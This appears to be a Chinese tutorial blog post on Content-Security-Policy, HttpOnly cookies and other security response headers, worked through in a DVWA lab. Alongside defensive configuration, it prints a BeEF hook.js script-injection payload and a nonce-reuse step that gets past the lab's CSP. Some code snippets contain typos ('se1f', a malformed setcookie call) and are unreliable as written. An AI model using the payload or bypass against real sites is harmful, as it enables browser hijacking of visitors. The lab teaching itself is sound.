CSP内容安全策略

CSP内容安全策略

  • 1. 引入
  • 2. CSP内容安全策略
  • 3. DVWA中的CSP过关
  • 4. 其他安全响应头

1. 引入

安全配置——基线检查

XSS中的Get Cookie攻击,可以通过在set-cookle字段中增加httponly属性来限制jS读取Cookie,但并不能从根本上解决XSS攻击,因为获取Cookie并非XSS的唯—攻击方式。
可以采用以下方式添加限制:

1.在php.ini配置文件中进行cookie只读设置的开启(有效范围:全局)
# 找到session.cookie_httponly =
修改为:
session.cookie_httponly = on

2.在php代码顶部设置(有效范围:当前页面)
<?php
ini_set("session.cookie_httponly",1);
?>
    
3.在setcookie函数中第7个参数中设置〈有效范围:当前cookie)
<?php
setcookie( "mycookie","myvalue", time()+3600'/','woniuxy.com',nulltrue);
?>

另外的防御方案就是对用户的输入进行各种校验,过程非常繁琐,还容易出错或者遗漏。

2. CSP内容安全策略

CSP的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。

CSP大大增强了网页的安全性。攻击者即使发现了漏洞,也没法注入脚本,除非还控制了一台列入了白名单的可信主机。有两种方法可以启用CSP。

  1. 是通过HTTP响应头信息的Content-Security-Policy的字段
Content-Security-Policy: script-src 'se1f'; object-src 'none'; style-src cdn.example.org third-party.org;child-src https:

在(主页)PHP代码中直接使用header()函数定义响应头内容即可

  1. 通过网页的meta标签
<meta http-equiv= "content-Security-Policy" content="script-src 'se1f'; object-src 'none'; style-srccdn.example.org third-party.org; child-src https:">

上面代码中,CSP做了如下配置:

default-src : 定义针对所有类型(js/image/css/font/ajax/iframe/多媒体等)资源的默认加戟策略,如果某类型资源没有单独定义策略,就使用默认的。
script-src 'self' http://www.woniumote.com,对于脚本:只信任当前域名自己和http://www.woniumote.com
object-src 'none ',对于<object>标签:不信任任何URL,即不加载任何资源
style-src,对于样式表:只信任cdn.example.org和third-party.org
child-src https,对于框架〈frame)∶必须使用HTTPs协议加载,注意冒号是https协议的一部分
对于其他资源:如果未定义,则使用default-src

—旦启用,不符合CSP的外部资源就会被阻止不进行加载。

  1. 在DVWA/vulnerabilities/xss_s/的index.php页面,增加以下响应头
header ("content-Security-policy: script-src 'self'");
// header("Content-Security-Policy: script-src 'self' http://192.168.233.150:3000");
// header("Content-Security-Policy: script-src 'self' http://192.168.233.150:3000 'unsafe-inline'");

此时在beef的恶意代码注入的位置,访问:http://192.168.233.150:3000/hook.js,并打开浏览器的F12,查看浏览器安全提示如下:

信息

  1. report-uri安全报告

Content-Security-Policy中,我们还可以设置report-uri属性,用于向一个指定的服务器地址提交JSON格式的安全报告

header("Content-Security-policy: script-src 'self'; report-uri http://192.168.233.103/DVWA/vulnerabilities/csp/csp_report/csp_report.php");

将上诉函数代码放到首页代码中,我这是index.php

一旦访问到受攻击页面并触发了脚本执行,浏览器除了阻止攻击脚本执行外,还会按照以下JSON格式提交安全报告内容

{
	"csp-report":{
        "blocked-uri":"http://192.168.233.150:3000/hook.js",
        "document-uri":"http://localhost/DVWA/vulnerabilities/csp/index.php",
        "original-policy":"script-src 'self'; report-uri http://192.168.233.103/DVWA/vulnerabilities/csp/csp_report/csp_report.php",
        "referrer":"http://localhost/DVWA/vulnerabilities/csp/index.php",
        "violated-directive":"script-src"
    }
}

csp_report.php的代码如下:


//功能:收集csp的report报告的JSON数据,进行写入文件
$time = date('Y-m-d H:i:s');
$file = fopen('../../upload/csp/csp_report.txt','a');    //以追加方式打开文件
$data = file_get_contents('php://input');  //利用伪协议取得POST请求内容
$json = json_decode($data, true);   //true表示生成关联数组
fwrite($file, 'report-time: ' . $time . "\r\n");    //注意:\r\n必须在双引号中
foreach ($json['csp-report'] as $key => $value){
    fwrite($file, $key . ":" . $value . "\r\n");
}
fwrite($file,"\r\n----------------------------r\n");
fclose($file);
?>

我们可以进入一个存在XSS注入漏洞的页面,使之触发以上代码执行,并在csp_report.txt文件中输出以下内容:

report-time: 2022-11-06 17:00:56
blocked-uri:http://192.168.233.150:3000/hook.js
document-uri:http://localhost/DVWA/vulnerabilities/csp/
original-policy:script-src 'self'; report-uri http://192.168.233.103/DVWA/vulnerabilities/csp/csp_report/csp_report.php
referrer:http://localhost/DVWA/vulnerabilities/csp/
violated-directive:script-src

----------------------------

小细节:

  1. 我用的是DVWA中的csp页面
  2. 需要设置报告所在目录为可写权限,或者直接将其遍历后保存到数据库中。
  3. 设置响应头的Content-Security-Policy-Report-Only字段,则可以不拦截,只上报。
  1. 其他安全配置
#允许服务器自己和来自http://192.168.233.155的脚本源
header("content-Security-policy: script-src 'se1f' http://192.168.233.155");
#允许服务器自己和来自http://192.168.233.155的脚本源,并允许行内代码执行
header("content-Security-Policy: script-src 'se1f' http://192.168.233.155 'unsafe-inline'");
#以下没有包含在
步骤:

1.访问DVWA的csp页面
2.先将beef生成的恶意js代码填入提交
<script src="http://192.168.233.150:3000/hook.js">script>
3.发现报错,并提示一串字符:nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=,这时候可以查查nonce是什么意识
4.将这一串字符添加到<script>标签中,进行提交,成功弹窗
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(44444)script>
  1. CSP的绕过策略
    参考链接: https://www.jianshu.com/p/f1de775bc43e

4. 其他安全响应头

  1. X-Content-Type-Options
    互联网上的资源有各种类型,通常浏览器会根据响应头的Content-Type字段来分辨它们的类型。例如:"text/htm1"代表html文档, "image/png"是PNG图片,“text/css"是CSS样式文档。然而,有些资源的Content-Type是错的或者未定义。这时,某些浏览器会启用MIME-sniffing来猜测该资源的类型,解析内容并执行。
    例如,我们即使给一个Ttml文档指定Content-Type为"text/plain”,在IE8-中这个文档依然会被当做html来解析。利用浏览器的这个特性,攻击者甚至可以让原本应该解析为图片的请求被解析为JavaScript。通过下面这个响应头可以禁用浏览器的类型猜测行为:
X-Content-Type-Options: nosniff
  1. X-XSS-Protection
    顾名思义,这个响应头是用来防范XSS的。现在主流浏览器都支持,并且默认都开启了XSS保护,它有几种配置:
  • 0:禁用XSS保护;
  • 1:启用XSS保护;
  • 1;mode=block:启用XSS保护,并在检查到XSS攻击时,停止渲染页面(例如IE8中,检查到攻击时,整个页面会被一个#替换);

最后,安全问题很重要,有些配置或许用不上,但尽量不要去改变它原有的安全配置。

你可能感兴趣的:(Web安全,前端,web安全,学习)